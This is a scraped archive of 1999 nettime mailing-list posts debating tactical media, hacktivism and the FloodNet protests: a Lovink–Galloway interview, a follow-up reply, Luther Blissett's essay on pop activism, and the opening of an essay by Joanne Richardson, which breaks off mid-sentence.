this sense of commonality has been blurred by\nthe \"culture wars\"--in a good way, I would say. But the celebration of\ndifferences, chaos and complexity has prompted us to pose again the\nquestion of organization. Permanent deconstructions and cynical\ncriticisms have turned many of the intellectuals, artists and activists\ninto enlightened but powerless outsiders.\n\nThese days, one could say that new forms of organization are formed along\ntechnical lines. For example, majordomo mailing-list software is creating\nspecific social structures (while excluding others). The internet has the\ntendency to strengthen both global and local connections, but seems to\nneglect the nation or state level. This will backfire sooner or later.\n\nToday's organizations tend to be rhizomatic. I mean this in a negative\nsense. \"Mille plateaux\" rules. Not by choice but because there are few\nother attractive options. If we face the loose connections, the constant\ndanger of decay, general anxiety over ideological commitment, panic over\ninternal conspiracies, and the continued disintegration (after short\nmoments of euphoria) of groups into sub-groups and tribes, we actually\nend up in a political climate of various, simultaneous micro cycles. The\nfear that others will cash in with your ideas--the fear of being\nappropriated--is very destructive. It has damaged common feelings, even\nfriendships. With ongoing technological changes we should wait until new,\nmore reliable forms of organization appear. Now we are caught up in a\nclosed circuit of tiny techno-social experiments.\n\n\"Refresh\" is a good example. A good idea, but now it is somewhere on the\nweb, with most of the links out of use. No one seems to be responsible,\nnor has any one come up with a follow-up. That is the poverty of net.art\nat the end of the nineties.\n\nAG: Are you in fact calling for a *consolidation* within tactical media?\nTo be honest, I'm surprised that you say this. Is there anything other\nthan simple pragmatics (i.e. the fact that we have to get things done)\nfueling your resistance to these distributed models? Some would say that\nold, consolidated forms of resistance have a track record of failure, and\nnow we must follow the lead of Deleuze and others to find a new politics\nbased on the \"molecular\" model of revolution without central\norganization. Personally I can testify in support of computers--they let\nme do the work of 10! Don't you think that the network as such gives us\nnew possibilities for action and resistance?\n\nDo you see a trajectory from progressive political theory in the '70s and\n'80s, to the real material manifestations of these theories today? I'm\nthinking especially of the idea of the rhizome or swarm, its correlate in\nnomadic politics, the privileging of the TAZ over revolutionary action,\netc., which now, in the case of the internet, have all found their own\nconditions of possibility. Now that we actually have access to real,\nnon-hierarchical systems do you see the future of resistive politics\nchanging? It seems that what you lament about \"Refresh\" is exactly what I\ncelebrate.\n\nGL: Rhizomatic, molecular models of resistance are not new. I don't say\nthis to sound discouraging. I would just like to point out a rich and\ndiverse tradition. There are many histories--labeled these days as\n\"anarchism\" or popular revolts--including invisible, lesser known\nstories.\n\nAnd please don't claim that these rhizomatic models are immune to\nfailure. Rhizomes, at times, can lead us nowhere. Nomadic praxis\nspecifically mystifies the question of organization and\nsurvival--internal accountability is not its strong point. It cannot deal\nwith the type of sustainable infrastructures and power politics that\nextend beyond the limits of one's own tribe. Today's networks cannot\nanswer essential questions of economic survival. Hit and run actions,\nsemiotic guerilla strikes, document theft, creating counter discourses\nand cultures--these are just one aspect of a complete movement. It is\ndangerous to extend those models to all other spheres of life. In other\nwords, please do not make a management guru out of Deleuze. The \"rhizome\nideology,\" in my opinion, is to be understood within the French (and\nItalian) politics of the '70s. It was a response to the democratic\ncentralism of the European communists at the time. Its spontaneity is its\nstrong point, but it cannot answer what comes next when the TAZ dissolves\nitself.\n\nAG: One final comment on this \"rhizome\" thread, then I'd like to talk\nmore about tactical net.art. You correctly situate the \"rhizome ideology\"\nin the '70s (and '80s and '90s), and I agree that the theoretical impetus\nwas born then.\n\nHowever (as said above) don't you see a trajectory from progressive\npolitical theory in the '70s and '80s, to the real *material*\nmanifestations of these theories today? My only point about Deleuze (I'm\njust using his name for convenience, there are clearly other important\nfigures) is that he never had access to real, material TAZs (or rhizomes,\nor nomadic communities, etc.) that instantiated his theoretical\ninterventions. To take media venues as an example, I claim that we never\nhad access to real, wide-spread non-hierarchical systems until now, with\nthe dawn of radically democratic networked communities. Free radio is\ndifferent; your \"'anarchism' or popular revolts\" were/are different;\nmoments like May '68 were *very* different.\n\nYes, this new mode clearly \"fails\" in the eyes of the dominant order. Yet\n*our* failure (our dissolving and reappearing) in their eyes means\nsomething good to us... It means that a new practice is emerging. \"What\ncomes next when the TAZ dissolves itself\"? A new TAZ, of course.\n\nAre you suggesting that we shouldn't translate traditional leftist\nstrategies into the tactical media framework, but rather, translate\ntactical media backward into a more traditional leftist strategy?\n\nGL: No, forget these leftist frameworks. I have never been part of that.\nIn most cases, people do not have the energy anymore to form a new TAZ,\nor even to be part of it. The rigid time economy is eating up people's\nlives. Perhaps what you are not taking into account is people's real\ndisillusionment and the pragmatic realities of life. When a TAZ has been\nsmashed by the authorities, or has dissolved itself because of exhaustion\nor internal conflict, only a small percentage of the participants will\ncontinue. They will become the survivors; they will crystallize into a\nnew group or TAZ. We have described this process in our Adilkno book\n\"Cracking the Movement\"\n(http://thing.desk.nl/bilwet/Cracking/contents.html). The phrase\n\"disappearing and reappearing\" is way too simple, especially in this\nharsh, neo-liberal climate.\n\nI am an professional optimist (by nature) and it is my passion to create\nstrategies for getting new initiatives off the ground. But your analysis\nof Deleuze (and his generation) not having experienced an actual TAZ is\nan historical misjudgment. This is mainly because you have ignored the\nnumerous movements, world wide, which started in the late '60s, and have\nactually existed since then. This includes the ecology, anti-nuclear, and\nwomen's movements; squats, farms, alternative bookshops and restaurants,\nmusic festivals; sabotage, actions, strikes; and dogmatic splinter groups\nand armed guerillas. Current media/art initiatives are tiny compared to\nwhat was going on twenty or so years ago, when the Deleuze & Guattari duo\nwas active. That is our sad reality at the end of the '90s.\n\nIt is true, though, that in today's technological climate a TAZ has the\nability to incorporate activities elsewhere on the planet much faster and\ncheaper than in the past. Yet simply having this ability to organize new\nforms of resistance does not automatically generate new social movements.\nPerhaps in the (very near!) future. I remain optimistic!\n\nAG: I'm an optimist too and I think we are living through a very exciting\ntime. I think our disagreement stems from the fact that I consider the\n\"rhizomatic mode\" to be historically specific, while you're extending it\nto include resistive actions in general (or at least for the past 30\nyears). We can agree to disagree.\n\nLet's forget about the offline for a moment and get back to our first\ntopic above: electronic civil disobedience. Do you disagree with the\nstrategy of the so-called \"denial of service\" attacks seen in the EDT's\nFloodNet actions? If yes, what are other possible network actions that\nmay emerge in the near future... the new forms of hacktivism?\n\nGL: The US/American establishment is preparing for the Infowar. You can\nread this everywhere. Secret services and military research centers have\nthe wildest fantasies about Muslim hackers, and the damage they can\ncause. For me, these are all phantoms, orchestrated illusions put in\nplace to legitimize the rise (again) of the US military budget during the\nlate Clinton administration. Let us not fall into their trap. What is\nimportant now is to spread awareness of the fact that we are all under\nconstant surveillance. Electronic media and networks are endangering\ncitizen's basic civil rights (above all their right to privacy).\n\nHacktivism should move into this area, not just temporarily shoot down\nenemy servers. We need to be much more careful, flexible, remain under\ncover. FloodNet originates from an actual public space lost and gone.\nPerhaps it is trying to re-construct the loss in much too easy a way. In\nour experience, here in Amsterdam, the digital public sphere is a long\nterm project, with thousands of people involved. In part, our work is\ninvisible, and contains many random elements. Activists, by nature, are\nhasty. They want to get things done. Yet protection and restructuring of\nthe public sphere is not a simple problem to solve. So let us come up\nwith many models and examine which ones work, and which don't. That's\nhacktivism for me.\n\n\nhttp://www.thing.net/~rdom/ecd/ecd.html\nhttp://www.backspace.org/iod\nhttp://oss.jodi.org\nhttp://sunsite.cs.msu.su/wwwart/refresh.htm\nhttp://thing.desk.nl/bilwet/Cracking/contents.html\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} desk.nl and \"info nettime-l\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} desk.nl\n",
                "to": "nettime-l {AT} Desk.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9902/msg00058.html",
                "list": "nettime_l",
                "author_name": "alex galloway",
                "subject": "<nettime> Hacking Activism",
                "from": "alex {AT} rhizome.org (alex galloway)",
                "follow-up": [
                    {
                        "from": "John Hopkins <hopkins {AT} iex.net>",
                        "content": "\nFollowing are some laborous observations to Geert and Alex's conversation:\n\n>GL: The open source movement is clearly an interesting area but what\n...snip...\n>(and so has nettime). The question is this: How do we turn all these\n>abstract issues, which are debated in a very closed circle and only\n>understood by a hand full of technicians, into a large topic, understood\n>by the millions, so to speak. Minor decisions in the realm of technical\n>standards taken today will have enormous effects on society later on. We\n>are all aware of that. So, much will depend on our political skills,\n>imagination and willingness to make coalitions, if we want to succeed.\n\nWell, I am a bit astonished that your dialogue passed by any reflection on\nthe question, and instead focused on a continuation of the rhetoric in the\nclosed circle of nettime posters. Sometimes you guys get my adrenaline\ngoing, I love it, thanks!  Thus, I can't pass by that consequently (in the\ncontext of nettime ) rhetorical question with some basic observations.\nSome are rooted in Newtonian/mechanistic arguments, but hear me out, I\ncan't speak in the metaphors that are often used in this forum.\n\nInterfacing with \"the public\" (i.e., everybody NOT on nettime), one will\nsee both the answer and a distinctive perspective on the question.  And I\nam neither proposing nor am interested in audiences of millions, but rather\nindividuals, interacted with one-by-one, or at most in small groups.\nFirstly, please, please let go of the MASS issue -- I think any \"movement\"\nthat wants to deal with masses has, by the nature of the Beast, to\ncoagulate its own mass in order to affect the direction, effectively ruling\nout a networked environment or form.  Maybe it is too obvious to answer the\nquestion with the word \"education\" especially given the horrific state of\ninstitutionalized learning in the world.  But the sharing of knowledge,\nexperience, and life energy on an individual basis, the lowest common\ndenominator, has the greatest potential to transform life.\n\nnext5minutes, I hope, will see some open discussions on this issue.  If we\nare not generous about sharing our personal energies especially in the\none-to-one sphere of action, there will be no change in the Other, much\nless, the Self!\n\n It might be that perhaps the side-stepping illustrates the weakness of\nthis <nettime> listserv -- that it HAS gotten away from personal dialogue\nand problem solving.\n\n>than liberate a larger public? (I realize this sentiment is probably not\n>very popular with the Dutch/German tactical media community.) New\n>technologies seem, finally, to be able to give us this TAZ option as a\n>widespread reality for the first time. Look at our own projects--nettime\n>and rhizome--I think that communities of this nature are virtually\n>unprecedented. And, hey, that may be enough for me.\n\nunprecedented?  are you sure? Of course, SPECIFICALLY, in the sense of the\ndetail of mediation techniques, the protocol, but is that important to\ndwell upon?  I think it is more important to look at the human results --\nare these communities unprecedented in their individual human effects?\n\n>Let's move to the issue of translating traditional leftist strategies\n>into the tactical media framework. A new method is critical. We've\n>experienced bottom-up political movements for some time now. But, what\n>about *distributed* bottom-up strategies? This is the machinic model,\n>where there is no coalition, there is no core, yet there is a \"movement.\"\n>Is electronic activism like the FloodNet too rooted in old school leftist\n>politics? The real question here is: How do we make the network into a\n>medium for action and resistance?\n\nWell, a truely distributed network is distinguished from other forms of\nmass society in the fact that it has a distributed inertia -- it cannot be\nexpected to have a concentrated mass that can be moved (given a torque\nloci) as a means to im-press the surrounding cultural/social matrix.  The\ndistribution of inertia requires that a net, whether it is organized\nthrough modern telecommunicative technologies or otherwise, be activated by\nintra-nodal exchanges of energy, nothing amounting to a directed social\nvector but more a series of trans-local point-source flare-ups of energy.\nThis energy pulsing is at the same time reactive and proactive,\nrevolutionary and transformatory.  It is agent and carrier, self and Other,\nco-mingled.  What about getting rid of the \"up\" in bottom-up?  Why go up?\nAs soon as one starts climbing, ascending above the direct personal\ninteractive, the resistance becomes illusory and reactive (rigid and\nresistive) to a Cervantes' windmill.  better to stay on the bottom and work\nwith the dialogue as the primary tool.  Resistivity invites reification or\nat least polarity, where intra-nodal flexing redirects opposing energies\ninto positive channels opening lives and possibilities.\n\n>GL: You are touching here on the question of organization. It presupposes\n>common interests (or even \"objectives,\" Marxists would say) and a basic\n>set of common ethics. Today this sense of commonality has been blurred by\n>the \"culture wars\"--in a good way, I would say. But the celebration of\n>differences, chaos and complexity has prompted us to pose again the\n>question of organization. Permanent deconstructions and cynical\n>criticisms have turned many of the intellectuals, artists and activists\n>into enlightened but powerless outsiders.\n\nPerhaps the blurring comes from the use of the wrong optics to view the\nissue -- the rhetorical tools of the intellectual class have been used to\nbuild mazes that take us away from principled/fundamental understandings --\nunderstandings that chart trajectories of personal convergence and action.\nThe weakness of rhetorical tools seems to be embedded in the instances when\nthey are used outside of immediate dialogic situations and instead are used\nfor propagandistic purposes.  I have stated before that a critical measure\nof the efficacy of a text/language-based exchange is how closely or\nspontaneously actions (like behavioral shifts) spring up as a result. --\nThat is, if we are TRUELY expecting that topics discussed here are to be\ntranslated to REAL social transformations!  If the only response in more\nrhetoric, it is a signal that we are moving AWAY from active principles\nrather than towards them.\n\nIn the context of nettime, I was reflecting this morning on why I always\nhave a funny feeling when I make that rare effort to post.  I never have\nany reaction/response from the prolific posters which leads me to 1)\nconsider that my ideas are not interesting to them or 2) they are not\ninterested in getting anything but silent nods of approval to their\npostings.  Of course, there is the third possibility that what I write\ndoesn't make sense, but I can come to my own defense and say that many\nideas and observations have evolved in the very dynamic and social\nenvironment of learning situations involving many tens of dialogues with\nother individuals...  hmmmm.\n\nNo one is an outsider if they retain the soul-full will to speak and listen\nwith an Other, allowing the limitless possibilities of exchange to resonate\nand evolve in the confluence.  Insiders talk to many, and listen only to\nthemselves.\n\n>These days, one could say that new forms of organization are formed along\n>technical lines. For example, majordomo mailing-list software is creating\n>specific social structures (while excluding others). The internet has the\n>tendency to strengthen both global and local connections, but seems to\n>neglect the nation or state level. This will backfire sooner or later.\n\nWhy will this backfire?  if people are interacting through an organically\nformed communications system,   outside of total infrastructure\nbreakdown/takeover/intervention, where is the real loss in neglecting\ngeopolitical nation/state considerations?  If it is the ONLY medium through\nwhich people are communicating, then I would suggest they get a \"Real\nLife,\" no kidding!  On the other hand, if you consider Language itself as a\nform of technological mediation, then it is quite clear that what you say\nis absolutely correct -- organizations ARE formed along lines of\ntechnological specification. Forming organizations with other criteria\nrequires negotiation, translation -- and they must have individuals with a\nfoot in either domain!  Interesting!\n\nsee you two folks in Amsterdam!\n\nkiitos\nJohn\n^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\nJohn Hopkins, Tech-no-mad artist and educator back in Helsinki at the\nNational Academy for a week...\n\nneo-scenes occupation: http://students.llaky.fi/~hopkins/nso/\ntravelog: http://members.iex.net/~hopkins/travel/recent.html\nweb space:  http://members.iex.net/~hopkins/\nemail: <hopkins {AT} iex.net>\n\nMobile (when I am in Finland) +358 (0)40 711 5612\n\nCONTACT INFO (Feb 18 - 28, 1999):\nFx: +358 (0)9 680 33260\nMessages: +358 (0)9 680 3320\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} desk.nl and \"info nettime-l\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} desk.nl\n",
                        "id": "00099",
                        "date": "Sun, 21 Feb 1999 17:08:35 +0200",
                        "to": "Nettime <NETTIME-L {AT} Desk.nl>",
                        "message-id": "199902211812.TAA02321 {AT} Desk.nl",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-9902/msg00099.html",
                        "content-type": "text/plai",
                        "author_name": "John Hopkins",
                        "subject": "Re: <nettime> Hacking Activism"
                    }
                ],
                "message-id": "199902110526.GAA22099 {AT} Desk.nl",
                "date": "Wed, 10 Feb 1999 23:25:24 -0800",
                "content-type": "text/plai"
            },
            {
                "content-type": "text/plai",
                "from": "luther blissett <pasquine {AT} dsc.unibo.it>",
                "id": "00012",
                "content": "\n     [orig to n5m3-debates-l {AT} waag.org]\n\n -  THE  XYZ  OF  NET  ACTIVISM  - \n    by Luther Blissett\n\n\n           It's time to create the pop stars of activism, \n           the idoru of communication guerrilla, \n           it's time to threaten and charm the \n           masses by the ghosts coming from the  \n           net, to play the myth against the myth,\n           to be more nihilist than infoteinment!\n                                  - etoy -\n\n\n     _0_   Luther Blissett and the net.activism\n     _1_   EDT and LB: two models of mediatic simulation\n     _2_   The pop turn\n     _3_   Pop interfaces for the masses: a political idoru\n     _4_   Hybridisation\n      5    The revolution of '99\n\n\n0. <  LUTHER BLISSETT AND THE NET.ACTIVISM  >\n\nIn this contribution I want to introduce Luther Blissett Project into net\nactivism debate. For those who don't know about it: Luther Blissett is a pop\nmyth, a collective \"open\" pop star, which name is the same one of a Watford\nsoccer player. But virtual LB has a computer-made face. LB is a multiple\nname: whoever can become LB and use his/her name for whatever purpose. Who\nuses the name increases and takes part of a collective fame. In Italy, where\nsmall groups promoted this project, multiple name strategy triggered a chain\nreaction. By means of multiuse name a mass myth was built and used for\npolitical campaigns. The concepts underlying LB [multi-use name, open pop\nstar, political avatar] can be a powerful tool to build a mass movement, as\nwell as to spread in a popular way the net.culture and the net.criticism of\ninner circles like Nettime or N5M, ejecting the networks out of the Net. \n\nFor more details about LB: \n-> http://www.geocities.com/Area51/Rampart/6812/ramp.html\n\n\n\n1. <  EDT AND LB: TWO MODELS OF MEDIATIC SIMULATION  >\n\nIn the current debate about net activism a leading question is the\n\"simulation\" vs \"real action\" opposition. I think it has become a vicious\nand rhetoric question. Lovink & Garcia, in \"the ABC & DEF of tactical media\"\nare too patient with those who are skeptist about importance of \"mediatic\nrepresentation\" issues. On the contrary, I'm going to point out the most\nradical thesis and strategies expressed about simulation: in my view,\nElectronic Disturbance Theater and LB/a.f.r.i.k.a gruppe.\n\n-> http://www.nyu.edu/project/wray/wwwhack.html\n-> http://www.nettime.org/nettime.w3archive/199809/msg00044.html\n\nBoth of them think activism and counter information must learn to simulate\non the mass media stage, i.e. in the infoteinment. But these projects are\ncompletely different. Electronic Disturbance Theater is the name of a\n*group* of actvists. They use the \"net strike\" to protest istitutions and\nmass media about political questions. EDT's \"actors\" don't hide their names.\nOn the other side, LB is just a name, a mark adopted by thousands of people\nwho often don't know or communicate each other. LB is not a group or a\nmovement but a collective pop star. All the activists have the same name,\nall the activists *are* the same multiple pop star. LB usually don't protest\nestablishment directly. S/he works inside mass media producing fake news,\nurban legends, trying to \"short-circuite\" spectacle's inner contradictions.\nLB's name is used for artistic works, political deeds, phranks, etc. LB have\ngot no world wide fame like EDT, but s/he could get it.\n\n- Electronic Disturbance Theater\nThe main question against EDT is: which is the risk of threatening and\nprovoking media by simulations? How to control feedbacks and bakcklashes?\nHow to avoid being coopted or starting moral panic? According to Stefan\nWray, activists must become aware that politics is a teather and must learn\nto play: \"we are manipulating the media sphere, we are creating hype, we are\ncultural jamming, we are simulating threats and action [...] we are actors!\nthis is political theater! a glorification and tranformation of the fake\ninto the real, at least in people's mind\". How to present activism on the\nstage? With an image and a name that work on the media. It's deal with\nbuilding simulacra: \"How do we invent an international cyberspacial army?\nFirst by naming\".\n\nEDT's simulacrum is very simple: it presents itself as a protest against\nistitutions, media, corporations. It can be defined as a first level\nsimulacrum, since it challenges the System in a direct way. Mediatic\neffectiveness is given by simulated threat: \"Floodnet's power lies in the\nsimulated threat.\" The aim is to draw attention to particular issue, to\nattract some degree of media coverage by engaging in actions that are\nunusual. The question for EDT is to have made up a negative, destructive\nsimulacrum. Media system coopts these antagonistic simulacra, it demonize\nand criminalize them, it uses them to starting states of emergency, moral\npanic. The \"state\" plays the same game of fear. That happens when yuo play\nat the \"first level\" of mass media game. \n\n- Luther Blissett\nIf EDT targets a direct fight, LB wants to raise the challenge at an upper\nlogic level. As a.f.r.i.k.a gruppe wrote: \"Guerrilla communication doesn't\nfocus on arguments and facts like most leaflets, brochures, slogans or\nbanners. In it's own way, it inhabits a militant political position, it is\ndirect action in the space of social communication. But different from other\nmilitant positions (stone meets shop window), it doesn't aim to destroy the\ncodes and signs of power and control, but to distort and disfigure their\nmeanings as a means of counteracting the omnipotent prattling of power.\"\nBaudrillard quoting Wilden: \"Each element of contestation or subversion of a\nsystem have to be of an upper logic kind.\"\n\nContrary to EDT's pratice: \"Communication guerrillas do not intend to\noccupy, interrupt or destroy the dominant channels of communication, but to\ndetourn and subvert the messages transported.\" This means not to play as\ninnocent actors but to imitate spectacle and its deceptions: \"Against a\nsymbolic order of western capitalist societies which is built around\ndiscourses of rationality and rational conduct, guerrilla communication\nrelies on the powerful possibility of expressing a fundamental critique\nthrough the non-verbal, paradoxical, mythical\"\n\nIndeed, non rational strategy is very rational: becoming spectacle, becoming\nmyth, to use infoteinment weapons against itself. Traditional simple counter\ninformation doesn't work anymore. LB wants to bring the struggle in the\nrealm of pop culture, to build \"intelligent\" simulacra, to spread out fake\nnews, using irony to withdraw at the right moment. According to Critical Art\nEnsemble the enemy is invisible, the power has become a nomadic electronic\nflow. If it's easy to understand this, it's more difficult to understand how\nmass media system coopted, neutralize or demonize subversive forces. The net\nhas made democratic simulating and faking information. But where is the myth\nin mass communication, today?\n\n\n2. <  THE POP TURN  >\n\nRoland Barthes, \"Mythologies\", 1957: \"It is to be strongly established, from\nthe beginning, that the myth is a communication system, is message.\" The\nmyth is what is beyond the Spectacle, the back of media landscape. The myth\nunifies what is opposite in spectacle and overcodes any subversive meaning\nand deed.\n\n               society               infowar, emergencies\n SPECTACLE ->  state           VS.   subcutural movements\n               establishment         counter culture, activism\n                   |                       |\n                   |_______________________|\n                              |\n                              v\n                            MYTH\n\nBarthes: \"To destroy the myth from inside was then extremely difficult. The\nsame move to get rid of it falls at once a prey to the myth: the myth can\nalways, in the end, signify the resistance made to it.\"\n\nThe title of 'read me!' intro is: \"nothing is spectacular if you aren't part\nof it\". I don't know if it is a quote and where it comes from [Debord..?\nit's pure Debord's philosophy!], but it's quite rhetoric, politically\ncorrect, puritanic. We should say: nothing is spectacular if you *are* part\nof it! Activism have to u-turn: let's call it 'pop' turn.\n\nBarthes: \"The best weapon against the myth is to mythicize itself, is to\nproduce an artificial myth: and this reconstituted myth will be a real\nmythology\".\n\n- Net hype.\nFor example, Net hype is a myth that activism must parasite and overcode. As\nA.f.r.i.k.a gruppe writes: \"Increasing attempts to police the net, to\nestablish state and corporate control will, paradoxically, increase its\nattractivity as a field of operation of communication guerrillas: Possibly,\neven those of us who until now not even own a PC will get Wired then. Fakes\nand false rumours inside and outside the Net may help to counteract\ncommodification and state control - after all, the internet is an ideal area\nfor producing rumours and fakes.\"\n\n\"Communication Guerrillas are fascinated by possibilities offered by the\ninternet also in a quite diferent sense: Beyond its reality, THE NET is an\nurban myth, and perhaps the strongest and most vital of all. Social\ndiscourse conceives THE NET as the location where the people, the pleasures,\nthe sex and the crimes of tomorrow already take place. Go Internet, learn\nthe Future! Fears and desires are projected onto THE NET: this is the\nmythical place where we can see the future of our society.\" Mass media stage\nis inglobing the net step by step. The Spectacle is hybridizing itself with\nthe net. Collective imaginery is penetrating the cyberspace. Activist have\nto attack and parasite the collective imaginery fed by the net. Mass media\nimaginery are becoming more and more interactive, \"democratic\". Old Left's\ntheories about media manipolation are obsolete.\n\n\n3. <  POP INTERFACES FOR THE MASSES: A POLITICAL IDORU  >\n\n'Pop Turn' means that activists have become less boring and speak the\nlanguage of the masses. Like all interfaces, it's a compromise. Some\npuritanic activist, some anarchist or eco-raver will disagree. But the only\nway to face infoteinment is to become more nihilist than it. The 'pop' turn\nis not only a strategic choice, it's also a way to build an access to the\nmasses.\n\n- Pop avatar. \nPop culture is like induistic pantheon where gods and semigods fight\nnonstop. It deals with making up really pop simulacrum, controlling them,\ndrawing them back when they begin to produce unwanted reactions. Activism\nhave to construct virtual pop stars, collective avatars conducted from the\nnet to act in the infoteinment, as LB o the idoru Kioko Date. By the\nmetaphor of \"mass avatar\" I mean to explain open pop star model to net users\nand net actvists who don't know about multiple name. The avatar metaphor can\nbe transposed very easily from the net to the traditional media and used in\nthe media activism. With \"mass avatar\" I mean a virtual idol to play on\nmedia stage and not a simulated identity in a one-to-one communication on\nthe net. Anthropomorphic features make public identify itself with it. As\nwell as Ballard and Gibson know, in media society the Icon is the direct way\nto access to people's nervous system. Franco Berardi aka Bifo defined LB as\n'The Antichrist of information'. This definition explains the LB purpose to\njoin counter-information and autonomous pop mithology.\n\n- Gateway to the media.\nHacktivists have to organize gateways between the net and the \"traditional\"\nmedia. This net-media gateways should be an interface to feed and to control\nnews media spread out. It deals with contacting and cooperating with on-line\nstaff of TV and newspapers, with making up idiot-friendly interfaces for\njournalists. Electronic Disturbance Theater experience demonstrates it:\nwithout making the NY Times front page on October 31, 1998, EDT would have\ngot only a merely on-line existence.\n\n\n4. <  HYBRIDISATION  >\n\n- Pop modules.\nHybridisation is not about just connecting the virtual and the \"street\". We\nrisk to remain rhetoric and predictable on both the fronts. We have to\nhybridize and to contaminate the forms of pop culture to create pop modules\nfor activism. Net scene is a tank of odd and useful ideas. Think of a\nmediatic subversive use of the most iconoclast net art works, before they\ncould be coopted by Nike or Adidas! Pop module can be defined as a\nmulti-platform program that can work on different social environments and\npolitical frameworks, on both old and new media. An example is LB, which\nname appeared many times on italian media, signed books, novels,\nperformances, shows, counter information campaigns, hoaxes, urban legends.\nMultiple name is a really hybrid module, as it works on both old and new\nmedia, on both the street and the net.\n\n- Composing theories... \nWe don't need the western philosophy easy astractions and oppositions that\ngo on with grassroots criticism: simulation vs. real action, alternative vs.\nmainstream, pop vs. avant-garde, molar vs. molecular, \"take to the street\"\nvs. \"the streets are dead\". A theory [or  strategy] is not to set up against\nanother, but they are to be composed together on the same level.\n\"Compositionism\" is a deleuzian method suggested by authors as Bifo. Look at\nthe beast of spectacle and its movements. It is infiltrating the net,\nrooting in the new forms without give up the old one. Capital infiltrates\nany interstitials. The net is not oppose to mass media, hypertext cannot\ndestroy spectacle, but new hybrid forms grow up. Spectacle branches in the\nhypertextual net, it becomes more shifty. It is already hybrid, let's learn\nfrom it.\n\n- ... and integrating activism.\nIn the same way activism has not to give up old strategies but to integrate\nthem, to connect each other. Convergence of media involves convergence of\nstrategies and \"activisms\". We have to cease to make theories. We simply\nhave to connect a strategy to another, a thing to another. Hybridisation\nhave to integrated different kinds of activism. After hacker we have to\nintegrate net artists and designers into activism. I mean an euphoric,\nsubversive, iconoclast, prankish activism! If net artists began to design\npop interfaces and strategies for activism, they surely would be more\nspured, inspired and useful. But we don't need to be a \"rhizome\": rhizome\nmyth has brought damage. Deleuze & Guattari also asked: \"How can we\ndistinguish between subversive schizophrenia and capitalistic\nschizophrenia?\". Capitalism is schizo and rhizomatic too. We need to\nintegrate and to be integrated.\n\n\n5. <  THE REVOLUTION OF '99  >\n\nThe net-media-art activism scene is fragmented in a lot of groups, close\nsub-networks, alternative culture ghettos, avant-garden loners, hyper-egos.\nLet's have a look at jodi's map:  -> http://www.jodi.org/map\nI don't know in which way it is organized, but it's an effective bird's-eye\nview of \"our\" network. This scene can go overground only through\ninterconnection of each group of artists, activists, writers, theorists,\ndesigners, journalists, moderators, organizers, etc. This network could\nbecome a mediatic icon!, the next [western] sub-cultural movement, after\npunk, techno, cyberpunk, etc. We have to find a quite pop and stupid name:\n\"the revolution of '99\"? Next scheme is not so obvious, it also means to be\nan interface for \"theory\":\n- it's a bit stupid and too general but clear.\n- is it too \"hegemonic\"? don't mind names such as 'nettime', just for example.\n- where is simulation and where real action?\n\n[select courier or a non variable font!]\n\n\n     the \"Spectacle\"            c-theory\n     media hype                 nettime\nMASS MEDIA               CRITICISM\n    \\                         |                    \n     \\                        |              the \"streets\"\n    gateway                   |  syndicate         /\n       \\                      |  nettime          /\n      INFORMATION _ _ _ _ WIDE AREA _ _ _ _ _ LOCAL\n         NETWORKS          NETWORKS           NETWORKS\n                           /      \\                 tao.ca\n                          /        \\               ecn.org\n                         /          \\  \n                        /            \\\n      LB               /              \\        ZapNet\n      mass avatars    /                \\       McLibel\n      net.art      POP _ _ _ _ _ _ _ _ ACTIVISM \n             INTERFACE                   \\     \n                   /                      \\   \n                  /                        \\     \n                 /                         ACTION! \nMASS - - - POP CULTURE\nMEDIA            mainstream/underground\n\n\n\n---\n  Luther Blissett <pasquine {AT} dsc.unibo.it>\n  Ghost-department of Semiotics, Bologna University, Italy ;->\n---\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} desk.nl and \"info nettime-l\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} desk.nl\n",
                "date": "Wed, 3 Mar 1999 17:03:03 +0100 (MET)",
                "to": "nettime-l {AT} Desk.nl",
                "message-id": "199903031727.SAA25630 {AT} Desk.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9903/msg00012.html",
                "list": "nettime_l",
                "author_name": "luther blissett",
                "subject": "<nettime> The XYZ of net activism"
            },
            {
                "id": "00013",
                "content": "\n\nGreetings,\n\nAn earlier version of this text was first circulated on the Next 5 Minutes\n4 editorial mailing list. Current version rewritten for a feature on\ntactical media of the magazine Balkon, due to appear in conjunction with\nthe Cluj, Romania co-edition of N5M4 in September.\n\n\nThe Language of Tactical Media\n.....        Joanne Richardson\n\n\u0093World War III will be a guerilla information war, with no division\nbetween military and civilian participation.\u0094   -- motto of Tactical Media\nCrew, borrowed from Marshall McLuhan\n\nThe future is a series of small steps leading away from the wreckage of\nthe past, sometimes its actors walk face forward, blind to the history\nplayed out behind their backs, other times, they walk backwards, seeing\nonly the unfulfilled destiny of a vanished time. The promise of the\ntactical media of the future - the end of the spectacular media circus as\neveryone begins to lay their hands on cheap \u0091do it yourself\u0092 media\ntechnologies made possible by new forms of production and distribution -\nwas inspired by a distinction between tactics and strategies made by\nMichel de Certeau in 1974. Strategies, which belong to states, economic\npower, and scientific rationality are formed around a clear sense of\nboundary, a separation between the proper place of the self and an outside\ndefined as an enemy. Tactics insinuate themselves into the other\u0092s place\nwithout the privilege of separation; they are not a frontal assault on an\nexternal power, but makeshift, temporary infiltrations from the inside\nthrough actions of thefts, hijacks, tricks and pranks. But for de Certeau,\nthe distinction was almost entirely focused on the power of reading (the\nconsumption of signs) to transform submission into subversion.  The most\nmemorable example of tactics in The Practice of Everyday Life is the\nindigenous Indians who under Spanish colonization appear to be submissive\nbut really \u0093often made of the rituals, representations, and laws imposed\non them something quite different from what their conquerors had in 